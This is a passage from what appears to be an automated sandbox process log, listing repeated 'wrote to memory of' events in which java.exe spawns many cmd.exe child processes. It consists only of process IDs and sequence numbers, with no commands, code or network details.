1032 java.exe 117 PID 1032 wrote to memory of 2712 1032 java.exe 117 PID 1032 wrote to memory of 2712 1032 java.exe 117 PID 2712 wrote to memory of 2724 2712 cmd.exe 118 PID 2712 wrote to memory of 2724 2712 cmd.exe 118 PID 2712 wrote to memory of 2724 2712 cmd.exe 118 PID 2712 wrote to memory of 2736 2712 cmd.exe 119 PID 2712 wrote to memory of 2736 2712 cmd.exe 119 PID 2712 wrote to memory of 2736 2712 cmd.exe 119 PID 1032 wrote to memory of 2748 1032 java.exe 120 PID 1032 wrote to memory of 2748 1032 java.exe 120 PID 1032 wrote to memory of 2748 1032 java.exe 120 PID 2748 wrote to memory of 2760 2748 cmd.exe 121 PID 2748 wrote to memory of 2760 2748 cmd.exe 121 PID 2748 wrote to memory of 2760 2748 cmd.exe 121 PID 2748 wrote to memory of 2772 2748 cmd.exe 122 PID 2748 wrote to memory of 2772 2748 cmd.exe 122 PID 2748 wrote to memory of 2772 2748 cmd.exe 122 PID 1032 wrote to memory of 2784 1032 java.exe 123 PID 1032 wrote to memory of 2784 1032 java.exe 123 PID 1032 wrote to memory of 2784 1032 java.exe 123 PID 2784 wrote to memory of 2800 2784 cmd.exe 124 PID 2784 wrote to memory of 2800 2784 cmd.exe 124 PID 2784 wrote to memory of 2800 2784 cmd.exe 124 PID 2784 wrote to memory of 2824 2784 cmd.exe 125 PID 2784 wrote to memory of 2824 2784 cmd.exe 125 PID 2784 wrote to memory of 2824 2784 cmd.exe 125 PID 1032 wrote to memory of 2836 1032 java.exe 126 PID 1032 wrote to memory of 2836 1032 java.exe 126 PID 1032 wrote to memory of 2836 1032 java.exe 126 PID 2836 wrote to memory of 2848 2836 cmd.exe 127 PID 2836 wrote to memory of 2848 2836 cmd.exe 127 PID 2836 wrote to memory of 2848 2836 cmd.exe 127 PID 2836 wrote to memory of 2860 2836 cmd.exe 128 PID 2836 wrote to memory of 2860 2836 cmd.exe 128 PID 2836 wrote to memory of 2860 2836 cmd.exe 128 PID 1032 wrote to memory of 2872 1032 java.exe 129 PID 1032 wrote to memory of 2872 1032 java.exe 129 PID 1032 wrote to memory of 2872 1032 java.exe 129 PID 2872 wrote to memory of 2888 2872 cmd.exe 130 PID 2872 wrote to memory of 2888 2872 cmd.exe 130 PID 2872 wrote to memory of 2888 2872 cmd.exe 130 PID 2872 wrote to memory of 2900 2872 cmd.exe 131 PID 2872 wrote to memory of 2900 2872 cmd.exe 131 PID 2872 wrote to memory of 2900 2872 cmd.exe 131 PID 1032 wrote to memory of 2912 1032 java.exe 132 PID 1032 wrote to memory of 2912 1032 java.exe 132 PID 1032 wrote to memory of 2912 1032 java.exe 132 PID 2912 wrote to memory of 2924 2912 cmd.exe 133 PID 2912 wrote to memory of 2924 2912 cmd.exe 133 PID 2912 wrote to memory of 2924 2912 cmd.exe 133 PID 1032 wrote to memory of 2936 1032 java.exe 134 PID 1032 wrote to memory of 2936 1032 java.exe 134 PID 1032 wrote to memory of 2936 1032 java.exe 134 PID 2912 wrote to memory of 2956 2912 cmd.exe 136 PID 2912 wrote to memory of 2956 2912 cmd.exe 136 PID 2912 wrote to memory of 2956 2912 cmd.exe 136 PID 1032 wrote to memory of 2976 1032 java.exe 137 PID 1032 wrote to memory of 2976 1032 java.exe 137 PID 1032 wrote to memory of 2976 1032 java.exe 137 PID 2976 wrote to memory of 2992 2976 cmd.exe 138 PID 2976 wrote to memory of 2992 2976 cmd.exe 138 PID 2976 wrote to memory of 2992 2976 cmd.exe 138 PID 2976 wrote to memory of 3020 2976 cmd.exe 139 PID 2976 wrote to memory of 3020 2976 cmd.exe 139 PID 2976 wrote to memory of 3020 2976 cmd.exe 139 PID 1032 wrote to memory of 3032 1032 java.exe 140 PID 1032 wrote to memory of 3032 1032 java.exe 140 PID 1032 wrote to memory of 3032 1032 java.exe 140 PID 3032 wrote to memory of 3044 3032 cmd.exe 141 PID 3032 wrote to memory of 3044 3032 cmd.exe 141 PID 3032 wrote to memory of 3044 3032 cmd.exe 141 PID 3032 wrote to memory of 3060 3032 cmd.exe 142 PID 3032 wrote to memory of 3060 3032 cmd.exe 142 PID 3032 wrote to memory of 3060 3032 cmd.exe 142 PID 1032 wrote to memory of 428 1032 java.exe 143 PID 1032 wrote to memory of 428 1032 java.exe 143 PID 1032 wrote to memory of 428 1032 java.exe 143 PID 428 wrote to memory of 1968 428 cmd.exe 144 PID 428 wrote to memory of 1968 428 cmd.exe 144 PID 428 wrote to memory of 1968 428 cmd.exe 144 PID 428 wrote to memory of 2000 428 cmd.exe 145 PID 428 wrote to memory of 2000 428 cmd.exe 145 PID 428 wrote to memory of 2000 428 cmd.exe 145 PID 1032 wrote to memory of 2104 1032 java.exe 146 PID 1032 wrote to memory of 2104 1032 java.exe 146 PID 1032 wrote to memory of 2104 1032 java.exe 146 PID 2104 wrote to memory of 2156 2104 cmd.exe 147 PID 2104 wrote to memory of 2156 2104 cmd.exe 147 PID 2104 wrote to memory of 2156 2104 cmd.exe 147 PID 2104 wrote to memory of 2192 2104 cmd.exe 148 PID 2104 wrote to memory of 2192 2104 cmd.exe 148 PID 2104 wrote to memory of 2192 2104 cmd.exe 148 PID 1032 wrote to memory of 1028 1032 java.exe 149 PID 1032 wrote to memory of 1028 1032 java.exe 149 PID 1032 wrote to memory of 1028 1032 java.exe 149 PID 1028 wrote to memory of 1084 1028 cmd.exe 150 PID 1028 wrote to memory of 1084 1028 cmd.exe 150 PID 1028 wrote to memory of 1084 1028 cmd.exe 150 PID 1028 wrote to memory of 1468 1028 cmd.exe 151 PID 1028 wrote to memory of 1468 1028 cmd.exe 151 PID 1028 wrote to memory of 1468 1028 cmd.exe 151 PID 1032 wrote to memory of 2132 1032 java.exe 152 PID 1032 wrote to memory of 2132 1032 java.exe 152 PID 1032 wrote to memory of 2132 1032 java.exe 152 PID 1032 wrote to memory of 1616 1032 java.exe 153 PID 1032 wrote to memory of 1616 1032 java.exe 153 PID 1032 wrote to memory of 1616 1032 java.exe 153 PID 1616 wrote to memory of 572 1616 cmd.exe 155 PID 1616 wrote to memory of 572 1616 cmd.exe 155 PID 1616 wrote to memory of 572 1616 cmd.exe 155 PID 1616 wrote to memory of 2108 1616 cmd.exe 156 PID 1616 wrote to memory of 2108 1616 cmd.exe 156 PID 1616 wrote to memory of 2108 1616 cmd.exe 156 PID 1032 wrote to memory of 1644 1032 java.exe 157 PID 1032 wrote to memory of 1644 1032 java.exe 157 PID 1032 wrote to memory of 1644 1032 java.exe 157 PID 1644 wrote to memory of 2148 1644 cmd.exe 158 PID 1644 wrote to memory of 2148 1644 cmd.exe 158 PID 1644 wrote to memory of 2148 1644 cmd.exe 158 PID 1644 wrote to memory of 2120 1644 cmd.exe 159 PID 1644 wrote to memory of 2120 1644 cmd.exe 159 PID 1644 wrote to memory of 2120 1644 cmd.exe 159 PID 1032 wrote to memory of 2072 1032 java.exe 160 PID 1032 wrote to memory of 2072 1032 java.exe 160 PID 1032 wrote to memory of 2072 1032 java.exe 160 PID 2072 wrote to memory of 792 2072 cmd.exe 161 PID 2072 wrote to memory of 792 2072 cmd.exe 161 PID 2072 wrote to memory of 792 2072 cmd.exe 161 PID 2072 wrote to memory of 1868 2072 cmd.exe 162 PID 2072 wrote to memory of 1868 2072 cmd.exe 162 PID 2072 wrote to memory of 1868 2072 cmd.exe 162 PID 1032 wrote to memory of 1752 1032 java.exe 163 PID 1032 wrote to memory of 1752 1032 java.exe 163 PID 1032 wrote to memory of 1752 1032 java.exe 163 PID 1752 wrote to memory of 1964 1752 cmd.exe 164 PID 1752 wrote to memory of 1964 1752 cmd.exe 164 PID 1752 wrote to memory of 1964 1752 cmd.exe 164 PID 1752 wrote to memory of 1488 1752 cmd.exe 165 PID 1752 wrote to memory of 1488 1752 cmd.exe 165 PID 1752 wrote to memory of 1488 1752 cmd.exe 165 PID 1032 wrote to memory of 1836 1032 java.exe 166 PID 1032 wrote to memory of 1836 1032 java.exe 166 PID 1032 wrote to memory of 1836 1032 java.exe 166 PID 1836 wrote to memory of 1444 1836 cmd.exe 167 PID 1836 wrote to memory of 1444 1836 cmd.exe 167 PID 1836 wrote to memory of 1444 1836 cmd.exe 167 PID 1836 wrote to memory of 1400 1836 cmd.exe 168 PID 1836 wrote to memory of 1400 1836 cmd.exe 168 PID 1836 wrote to memory of 1400 1836 cmd.exe 168 PID 1032 wrote to memory of 1992 1032 java.exe 169 PID 1032 wrote to memory of 1992 1032 java.exe 169 PID 1032 wrote to memory of 1992 1032 java.exe 169 PID 1992 wrote to memory of 1456 1992 cmd.exe 170 PID 1992 wrote to memory of 1456 1992 cmd.exe 170 PID 1992 wrote to memory of 1456 1992 cmd.exe 170 PID 1992 wrote to memory of 292 1992 cmd.exe 171 PID 1992 wrote to memory of 292 1992 cmd.exe 171 PID 1992 wrote to memory of 292 1992 cmd.exe 171 PID 1032 wrote to memory of 2100 1032 java.exe 172 PID 1032 wrote to memory of 2100 1032 java.exe 172 PID 1032 wrote to memory of 2100 1032 java.exe 172 PID 2100 wrote to memory of 1756 2100 cmd.exe 173 PID 2100 wrote to memory of 1756 2100 cmd.exe 173 PID 2100 wrote to memory of 1756 2100 cmd.exe 173 PID 2100 wrote to memory of 1780 2100 cmd.exe 174 PID 2100 wrote to memory of 1780 2100 cmd.exe 174 PID 2100 wrote to memory of 1780 2100 cmd.exe 174 PID 1032 wrote to memory of 2196 1032 java.exe 175 PID 1032 wrote to memory of 2196 1032 java.exe 175 PID 1032 wrote to memory of 2196 1032 java.exe 175 PID 2196 wrote to memory of 2124 2196 cmd.exe 176 PID 2196 wrote to memory of 2124 2196 cmd.exe 176 PID 2196 wrote to memory of 2124 2196 cmd.exe 176 PID 1032 wrote to memory of 1840 1032 java.exe 177 PID 1032 wrote to memory of 1840 1032 java.exe 177 PID 1032 wrote to memory of 1840 1032 java.exe 177 PID 2196 wrote to memory of 2232 2196 cmd.exe 179 PID 2196 wrote to memory of 2232 2196 cmd.exe 179 PID 2196 wrote to memory of 2232 2196 cmd.exe 179 PID 1032 wrote to memory of 2308 1032 java.exe 180 PID 1032 wrote to memory of 2308 1032 java.exe 180 PID 1032 wrote to memory of 2308 1032 java.exe 180 PID 2308 wrote to memory of 2316 2308 cmd.exe 181 PID 2308 wrote to memory of 2316 2308 cmd.exe 181 PID 2308 wrote to memory of 2316 2308 cmd.exe 181 PID 2308 wrote to memory of 2364 2308 cmd.exe 182 PID 2308 wrote to memory of 2364 2308 cmd.exe 182 PID 2308 wrote to memory of 2364 2308 cmd.exe 182 PID 1032 wrote to memory of 2360 1032 java.exe 183 PID 1032 wrote to memory of 2360 1032 java.exe 183 PID 1032 wrote to memory of 2360 1032 java.exe 183 PID 2360 wrote to memory of 2464 2360 cmd.exe 184 PID 2360 wrote to memory of 2464 2360 cmd.exe 184 PID 2360 wrote to memory of 2464 2360 cmd.exe 184 PID 2360 wrote to memory of 2452 2360 cmd.exe 185 PID 2360 wrote to memory of 2452 2360 cmd.exe 185 PID 2360 wrote to memory of 2452 2360 cmd.exe 185 PID 1032 wrote to memory of 2492 1032 java.exe 186 PID 1032 wrote to memory of 2492 1032 java.exe 186 PID 1032 wrote to memory of 2492 1032 java.exe 186 PID 2492 wrote to memory of 2536 2492 cmd.exe 187 PID 2492 wrote to memory of 2536 2492 cmd.exe 187 PID 2492 wrote to memory of 2536 2492 cmd.exe 187 PID 2492 wrote to memory of 2528 2492 cmd.exe 188 PID 2492 wrote to memory of 2528 2492 cmd.exe 188 PID 2492 wrote to memory of 2528 2492 cmd.exe 188 PID 1032 wrote to memory of 2568 1032 java.exe 189 PID 1032 wrote to memory of 2568 1032 java.exe 189 PID 1032 wrote to memory of 2568 1032 java.exe 189 PID 2568 wrote to memory of 2576 2568 cmd.exe 190 PID 2568 wrote to memory of 2576 2568 cmd.exe 190 PID 2568 wrote to memory of 2576 2568 cmd.exe 190 PID 2568 wrote to memory of 2600 2568 cmd.exe 191 PID 2568 wrote to memory of 2600 2568 cmd.exe 191 PID 2568 wrote to memory of 2600 2568 cmd.exe 191 PID 1032 wrote to memory of 2636 1032 java.exe 192 PID 1032 wrote to memory of 2636 1032 java.exe 192 PID 1032 wrote to memory of 2636 1032 java.exe 192 PID 2636 wrote to memory of 2616 2636 cmd.exe 193 PID 2636 wrote to memory of 2616 2636 cmd.exe 193 PID 2636 wrote to memory of 2616 2636 cmd.exe 193 PID 2636 wrote to memory of 2684 2636 cmd.exe 194 PID 2636 wrote to memory of 2684 2636 cmd.exe 194 PID 2636 wrote to memory of 2684 2636 cmd.exe 194 PID 1032 wrote to memory of 2700 1032 java.exe 195 PID 1032 wrote to memory of 2700 1032 java.exe 195 PID 1032 wrote to memory of 2700 1032 java.exe 195 PID 2700 wrote to memory of 2692 2700 cmd.exe 196 PID 2700 wrote to memory of 2692 2700 cmd.exe 196 PID 2700 wrote to memory of 2692 2700 cmd.exe 196 PID 2700 wrote to memory of 2728 2700 cmd.exe 197 PID 2700 wrote to memory of 2728 2700 cmd.exe 197 PID 2700 wrote to memory of 2728 2700 cmd.exe 197 PID 1032 wrote to memory of 2740 1032 java.exe 198 PID 1032 wrote to memory of 2740 1032 java.exe 198 PID 1032 wrote to memory of 2740 1032 java.exe 198 PID 2740 wrote to memory of 2764 2740 cmd.exe 199 PID 2740 wrote to memory of 2764 2740 cmd.exe 199 PID 2740 wrote to memory of 2764 2740 cmd.exe 199 PID 2740 wrote to memory of 2760 2740 cmd.exe 200 PID 2740 wrote to memory of 2760 2740 cmd.exe 200 PID 2740 wrote to memory of 2760 2740 cmd.exe 200 PID 1032 wrote to memory of 2780 1032 java.exe 201 PID 1032 wrote to memory of 2780 1032 java.exe 201 PID 1032 wrote to memory of 2780 1032 java.exe 201 PID 2780 wrote to memory of 2404 2780 cmd.exe 202 PID 2780 wrote to memory of 2404 2780 cmd.exe 202 PID 2780 wrote to memory of 2404 2780 cmd.exe 202 PID 2780 wrote to memory of 1812 2780 cmd.exe 203 PID 2780 wrote to memory of 1812 2780 cmd.exe 203 PID 2780 wrote to memory of 1812 2780 cmd.exe 203 PID 1032 wrote to memory of 1996 1032 java.exe 204 PID 1032 wrote to memory of 1996 1032 java.exe 204 PID 1032 wrote to memory of 1996 1032 java.exe 204 PID 1996 wrote to memory of 2420 1996 cmd.exe 205 PID 1996 wrote to memory of 2420 1996 cmd.exe 205 PID 1996 wrote to memory of 2420 1996 cmd.exe 205 PID 1996 wrote to memory of 2372 1996 cmd.exe 206 PID 1996 wrote to memory of 2372 1996 cmd.exe 206 PID 1996 wrote to memory of 2372 1996 cmd.exe 206 PID 1032 wrote to memory of 2412 1032 java.exe 207 PID 1032 wrote to memory of 2412 1032 java.exe 207 PID 1032 wrote to memory of 2412 1032 java.exe 207 PID 2412 wrote to memory of 2792 2412 cmd.exe 208 PID 2412 wrote to memory of 2792 2412 cmd.exe 208 PID 2412 wrote to memory of 2792 2412 cmd.exe 208 PID 2412 wrote to memory of 2708 2412 cmd.exe 209 PID 2412 wrote to memory of 2708 2412 cmd.exe 209 PID 2412 wrote to memory of 2708 2412 cmd.exe 209 PID 1032 wrote to memory of 2652 1032 java.exe 210 PID 1032 wrote to memory of 2652 1032 java.exe 210 PID 1032 wrote to memory of 2652 1032 java.exe 210 PID 2652 wrote to memory of 2608 2652 cmd.exe 211 PID 2652 wrote to memory of 2608 2652 cmd.exe 211 PID 2652 wrote to memory of 2608 2652 cmd.exe 211 PID 2652 wrote to memory of 2640 2652 cmd.exe 212 PID 2652 wrote to memory of 2640 2652 cmd.exe 212 PID 2652 wrote to memory of 2640 2652 cmd.exe 212 PID 1032 wrote to memory of 2804 1032 java.exe 213 PID 1032 wrote to memory of 2804 1032 java.exe 213 PID 1032 wrote to memory of 2804 1032 java.exe 213 PID 1032 wrote to memory of 2808 1032 java.exe 214 PID 1032 wrote to memory of 2808 1032 java.exe 214 PID 1032 wrote to memory of 2808 1032 java.exe 214 PID 2804 wrote to memory of 1428 2804 cmd.exe 215 PID 2804 wrote to memory of 1428 2804 cmd.exe 215 PID 2804 wrote to memory of 1428 2804 cmd.exe 215 PID 2804 wrote to memory of 2864 2804 cmd.exe 217 PID 2804 wrote to memory of 2864 2804 cmd.exe 217 PID 2804 wrote to memory of 2864 2804 cmd.exe 217 PID 1032 wrote to memory of 2896 1032 java.exe 218 PID 1032 wrote to memory of 2896 1032 java.exe 218 PID 1032 wrote to memory of 2896 1032 java.exe 218 PID 2896 wrote to memory of 2888 2896 cmd.exe 219 PID 2896 wrote to memory of 2888 2896 cmd.exe 219 PID 2896 wrote to memory of 2888 2896 cmd.exe 219 PID 2896 wrote to memory of 2932 2896 cmd.exe 220 PID 2896 wrote to memory of 2932 2896 cmd.exe 220 PID 2896 wrote to memory of 2932 2896 cmd.exe 220 PID 1032 wrote to memory of 2952 1032 java.exe 221 PID 1032 wrote to memory of 2952 1032 java.exe 221 PID 1032 wrote to memory of 2952 1032 java.exe 221 PID 2952 wrote to memory of 2960 2952 cmd.exe 222 PID 2952 wrote to memory of 2960 2952 cmd.exe 222 PID 2952 wrote to memory of 2960 2952 cmd.exe 222 PID 2952 wrote to memory of 3000 2952 cmd.exe 223 PID 2952 wrote to memory of 3000 2952 cmd.exe 223 PID 2952 wrote to memory of 3000 2952 cmd.exe 223 PID 1032 wrote to memory of 2992 1032 java.exe 224 PID 1032 wrote to memory of 2992 1032 java.exe 224 PID 1032 wrote to memory of 2992 1032 java.exe 224 PID 2992 wrote to memory of 3012 2992 cmd.exe 225 PID 2992 wrote to memory of 3012 2992 cmd.exe 225 PID 2992 wrote to memory of 3012 2992 cmd.exe 225 PID 2992 wrote to memory of 2988 2992 cmd.exe 226 PID 2992 wrote to memory of 2988 2992 cmd.exe 226 PID 2992 wrote to memory of 2988 2992 cmd.exe 226 PID 1032 wrote to memory of 2936 1032 java.exe 227 PID 1032 wrote to memory of 2936 1032 java.exe 227 PID 1032 wrote to memory of 2936 1032 java.exe 227 PID 2936 wrote to memory of 3040 2936 cmd.exe 228 PID 2936 wrote to memory of 3040 2936 cmd.exe 228 PID 2936 wrote to memory of 3040 2936 cmd.exe 228 PID 2936 wrote to memory of 3068 2936 cmd.exe 229 PID 2936 wrote to memory of 3068 2936 cmd.exe 229 PID 2936 wrote to memory of 3068 2936 cmd.exe 229 PID 1032 wrote to memory of 3060 1032 java.exe 230 PID 1032 wrote to memory of 3060 1032 java.exe 230 PID 1032 wrote to memory of 3060 1032 java.exe 230 PID 3060 wrote to memory of 1816 3060 cmd.exe 231 PID 3060 wrote to memory of 1816 3060 cmd.exe 231 PID 3060 wrote to memory of 1816 3060 cmd.exe 231 PID 3060 wrote to memory of 1948 3060 cmd.exe 232 PID 3060 wrote to memory of 1948 3060 cmd.exe 232 PID 3060 wrote to memory of 1948 3060 cmd.exe 232 PID 1032 wrote to memory of 2244 1032 java.exe 233 PID 1032 wrote to memory of 2244 1032 java.exe 233 PID 1032 wrote to memory of 2244 1032 java.exe 233 PID 2244 wrote to memory of 1872 2244 cmd.exe 234 PID 2244 wrote to memory of 1872 2244 cmd.exe 234 PID 2244 wrote to memory of 1872 2244 cmd.exe 234 PID 2244 wrote to memory of 1984 2244 cmd.exe 235 PID 2244 wrote to memory of 1984 2244 cmd.exe 235 PID 2244 wrote to memory of 1984 2244 cmd.exe 235 PID 1032 wrote to memory of 1584 1032 java.exe 236 PID 1032 wrote to memory of 1584 1032 java.exe 236 PID 1032 wrote to memory of 1584 1032 java.exe 236 PID 1584 wrote to memory of 2884 1584 cmd.exe 237 PID 1584 wrote to memory of 2884 1584 cmd.exe 237 PID 1584 wrote to memory of 2884 1584 cmd.exe 237 PID 1584 wrote to memory of 2140 1584 cmd.exe 238 PID 1584 wrote to memory of 2140 1584 cmd.exe 238 PID 1584 wrote to memory of 2140 1584 cmd.exe 238 PID 1032 wrote to memory of 2016 1032 java.exe 239 PID 1032 wrote to memory of 2016 1032 java.exe 239 PID 1032 wrote to memory of 2016 1032 java.exe 239 PID 2016 wrote to memory of 2192 2016 cmd.exe 240 PID 2016 wrote to memory of 2192 2016 cmd.exe 240 PID 2016 wrote to memory of 2192 2016 cmd.exe 240 PID 1032 wrote to memory of 2028 1032 java.exe 241 PID 1032 wrote to memory of 2028 1032 java.exe 241 PID 1032 wrote to memory of 2028 1032 java.exe 241 PID 2016 wrote to memory of 2080 2016 cmd.exe 243 PID 2016 wrote to memory of 2080 2016 cmd.exe 243 PID 2016 wrote to memory of 2080 2016 cmd.exe 243 PID 1032 wrote to memory of 1500 1032 java.exe 244 PID 1032 wrote to memory of 1500 1032 java.exe 244 PID 1032 wrote to memory of 1500 1032 java.exe 244 PID 1500 wrote to memory of 1620 1500 cmd.exe 245 PID 1500 wrote to memory of 1620 1500 cmd.exe 245 PID 1500 wrote to memory of 1620 1500 cmd.exe 245 PID 1500 wrote to memory of 1988 1500 cmd.exe 246 PID 1500 wrote to memory of 1988 1500 cmd.exe 246 PID 1500 wrote to memory of 1988 1500 cmd.exe 246 PID 1032 wrote to memory of 2084 1032 java.exe 247 PID 1032 wrote to memory of 2084 1032 java.exe 247 PID 1032 wrote to memory of 2084 1032 java.exe 247 PID 2084 wrote to memory of 2020 2084 cmd.exe 248 PID 2084 wrote to memory of 2020 2084 cmd.exe 248 PID 2084 wrote to memory of 2020 2084 cmd.exe 248 PID 2084 wrote to memory of 2120 2084 cmd.exe 249 PID 2084 wrote to memory of 2120 2084 cmd.exe 249 PID 2084 wrote to memory of 2120 2084 cmd.exe 249 PID 1032 wrote to memory of 1416 1032 java.exe 250 PID 1032 wrote to memory of 1416 1032 java.exe 250 PID 1032 wrote to memory of 1416 1032 java.exe 250 PID 1416 wrote to memory of 1392 1416 cmd.exe 251 PID 1416 wrote to memory of 1392 1416 cmd.exe 251 PID 1416 wrote to memory of 1392 1416 cmd.exe 251 PID 1416 wrote to memory of 2008 1416 cmd.exe 252 PID 1416 wrote to memory of 2008 1416 cmd.exe 252 PID 1416 wrote to memory of 2008 1416 cmd.exe 252 PID 1032 wrote to memory of 1964 1032 java.exe 253 PID 1032 wrote to memory of 1964 1032 java.exe 253 PID 1032 wrote to memory of 1964 1032 java.exe 253 PID 1964 wrote to memory of 2012 1964 cmd.exe 254 PID 1964 wrote to memory of 2012 1964 cmd.exe 254 PID 1964 wrote to memory of 2012 1964 cmd.exe 254 PID 1964 wrote to memory of 1040 1964 cmd.exe 255 PID 1964 wrote to memory of 1040 1964 cmd.exe 255 PID 1964 wrote to memory of 1040 1964 cmd.exe 255 PID 1032 wrote to memory of 1400 1032 java.exe 256 PID 1032 wrote to memory of 1400 1032 java.exe 256 PID 1032 wrote to memory of 1400 1032 java.exe 256 PID 1400 wrote to memory of 2168 1400 cmd.exe 257 PID 1400 wrote to memory of 2168 1400 cmd.exe 257 PID 1400 wrote to memory of 2168 1400 cmd.exe 257 PID 1400 wrote to memory of 1368 1400 cmd.exe 258 PID 1400 wrote to memory of 1368 1400 cmd.exe 258 PID 1400 wrote to memory of 1368 1400 cmd.exe 258 PID 1032 wrote to memory of 2220 1032 java.exe 259 PID 1032 wrote to memory of 2220 1032 java.exe 259 PID 1032 wrote to memory of 2220 1032 java.exe 259 PID 2220 wrote to memory of 1756 2220 cmd.exe 260 PID 2220 wrote to memory of 1756 2220 cmd.exe 260 PID 2220 wrote to memory of 1756 2220 cmd.exe 260 PID 2220 wrote to memory of 2144 2220 cmd.exe 261 PID 2220 wrote to memory of 2144 2220 cmd.exe 261 PID 2220 wrote to memory of 2144 2220 cmd.exe 261 PID 1032 wrote to memory of 2204 1032 java.exe 262 PID 1032 wrote to memory of 2204 1032 java.exe 262 PID 1032 wrote to memory of 2204 1032 java.exe 262 PID 2204 wrote to memory of 2124 2204 cmd.exe 263 PID 2204 wrote to memory of 2124 2204 cmd.exe 263 PID 2204 wrote to memory of 2124 2204 cmd.exe 263 PID 2204 wrote to memory of 2320 2204 cmd.exe 264 PID 2204 wrote to memory of 2320 2204 cmd.exe 264 PID 2204 wrote to memory of 2320 2204 cmd.exe 264 PID 1032 wrote to memory of 2316 1032 java.exe 265 PID 1032 wrote to memory of 2316 1032 java.exe 265 PID 1032 wrote to memory of 2316 1032 java.exe 265 PID 2316 wrote to memory of 2364 2316 cmd.exe 266 PID 2316 wrote to memory of 2364 2316 cmd.exe 266 PID 2316 wrote to memory of 2364 2316 cmd.exe 266 PID 2316 wrote to memory of 2352 2316 cmd.exe 267 PID 2316 wrote to memory of 2352 2316 cmd.exe 267 PID 2316 wrote to memory of 2352 2316 cmd.exe 267 PID 1032 wrote to memory of 2300 1032 java.exe 268 PID 1032 wrote to memory of 2300 1032 java.exe 268 PID 1032 wrote to memory of 2300 1032 java.exe 268 PID 2300 wrote to memory of 1840 2300 cmd.exe 269 PID 2300 wrote to memory of 1840 2300 cmd.exe 269 PID 2300 wrote to memory of 1840 2300 cmd.exe 269 PID 2300 wrote to memory of 2472 2300 cmd.exe 270 PID 2300 wrote to memory of 2472 2300 cmd.exe 270 PID 2300 wrote to memory of 2472 2300 cmd.exe 270 PID 1032 wrote to memory of 2464 1032 java.exe 271 PID 1032 wrote to memory of 2464 1032 java.exe 271 PID 1032 wrote to memory of 2464 1032 java.exe 271 PID 2464 wrote to memory of 2516 2464 cmd.exe 272 PID 2464 wrote to memory of 2516 2464 cmd.exe 272 PID 2464 wrote to memory of 2516 2464 cmd.exe 272 PID 2464 wrote to memory of 2556 2464 cmd.exe 273 PID 2464 wrote to memory of 2556 2464 cmd.exe 273 PID 2464 wrote to memory of 2556 2464 cmd.exe 273 PID 1032 wrote to memory of 2528 1032 java.exe 274 PID 1032 wrote to memory of 2528 1032 java.exe 274 PID 1032 wrote to memory of 2528 1032 java.exe 274 PID 2528 wrote to memory of 2572 2528 cmd.exe 275 PID 2528 wrote to memory of 2572 2528 cmd.exe 275 PID 2528 wrote to memory of 2572 2528 cmd.exe 275 PID 2528 wrote to memory of 2624 2528 cmd.exe 276 PID 2528 wrote to memory of 2624 2528 cmd.exe 276 PID 2528 wrote to memory of 2624 2528 cmd.exe 276 PID 1032 wrote to memory of 2628 1032 java.exe 277 PID 1032 wrote to memory of 2628 1032 java.exe 277 PID 1032 wrote to memory of 2628 1032 java.exe 277 PID 2628 wrote to memory of 2616 2628 cmd.exe 278 PID 2628 wrote to memory of 2616 2628 cmd.exe 278 PID 2628 wrote to memory of 2616 2628 cmd.exe 278 PID 2628 wrote to memory of 2696 2628 cmd.exe 279 PID 2628 wrote to memory of 2696 2628 cmd.exe 279 PID 2628 wrote to memory of 2696 2628 cmd.exe 279 PID 1032 wrote to memory of 2724 1032 java.exe 280 PID 1032 wrote to memory of 2724 1032 java.exe 280 PID 1032 wrote to memory of 2724 1032 java.exe 280 PID 2724 wrote to memory of 2728 2724 cmd.exe 281 PID 2724 wrote to memory of 2728 2724 cmd.exe 281 PID 2724 wrote to memory of 2728 2724 cmd.exe 281 PID 2724 wrote to memory of 1180 2724 cmd.exe 282 PID 2724 wrote to memory of 1180 2724 cmd.exe 282 PID 2724 wrote to memory of 1180 2724 cmd.exe 282 PID 1032 wrote to memory of 2776 1032 java.exe 283 PID 1032 wrote to memory of 2776 1032 java.exe 283 PID 1032 wrote to memory of 2776 1032 java.exe 283 PID 2776 wrote to memory of 1808 2776 cmd.exe 284 PID 2776 wrote to memory of 1808 2776 cmd.exe 284 PID 2776 wrote to memory of 1808 2776 cmd.exe 284 PID 2776 wrote to memory of 2404 2776 cmd.exe 285 PID 2776 wrote to memory of 2404 2776 cmd.exe 285 PID 2776 wrote to memory of 2404 2776 cmd.exe 285 PID 1032 wrote to memory of 2812 1032 java.exe 286 PID 1032 wrote to memory of 2812 1032 java.exe 286 PID 1032 wrote to memory of 2812 1032 java.exe 286 PID 2812 wrote to memory of 2816 2812 cmd.exe 287 PID 2812 wrote to memory of 2816 2812 cmd.exe 287 PID 2812 wrote to memory of 2816 2812 cmd.exe 287 PID 2812 wrote to memory of 2372 2812 cmd.exe 288 PID 2812 wrote to memory of 2372 2812 cmd.exe 288 PID 2812 wrote to memory of 2372 2812 cmd.exe 288 PID 1032 wrote to memory of 2064 1032 java.exe 289 PID 1032 wrote to memory of 2064 1032 java.exe 289 PID 1032 wrote to memory of 2064 1032 java.exe 289 PID 2064 wrote to memory of 2820 2064 cmd.exe 290 PID 2064 wrote to memory of 2820 2064 cmd.exe 290 PID 2064 wrote to memory of 2820 2064 cmd.exe 290 PID 2064 wrote to memory of 2648 2064 cmd.exe 291 PID 2064 wrote to memory of 2648 2064 cmd.exe 291 PID 2064 wrote to memory of 2648 2064 cmd.exe 291 PID 1032 wrote to memory of 2608 1032 java.exe 292 PID 1032 wrote to memory of 2608 1032 java.exe 292 PID 1032 wrote to memory of 2608 1032 java.exe 292 PID 1032 wrote to memory of 2324 1032 java.exe 293 PID 1032 wrote to memory of 2324 1032 java.exe 293 PID 1032 wrote to memory of 2324 1032 java.exe 293 PID 2608 wrote to memory of 1428 2608 cmd.exe 295 PID 2608 wrote to memory of 1428 2608 cmd.exe 295 PID 2608 wrote to memory of 1428 2608 cmd.exe 295 PID 2608 wrote to memory of 1736 2608 cmd.exe 296 PID 2608 wrote to memory of 1736 2608 cmd.exe 296 PID 2608 wrote to memory of 1736 2608 cmd.exe 296 PID 1032 wrote to memory of 2852 1032 java.exe 297 PID 1032 wrote to memory of 2852 1032 java.exe 297 PID 1032 wrote to memory of 2852 1032 java.exe 297 PID 2852 wrote to memory of 2800 2852 cmd.exe 298 PID 2852 wrote to memory of 2800 2852 cmd.exe 298 PID 2852 wrote to memory of 2800 2852 cmd.exe 298 PID 2852 wrote to memory of 2888 2852 cmd.exe 299 PID 2852 wrote to memory of 2888 2852 cmd.exe 299 PID 2852 wrote to memory of 2888 2852 cmd.exe 299 PID 1032 wrote to memory of 2984 1032 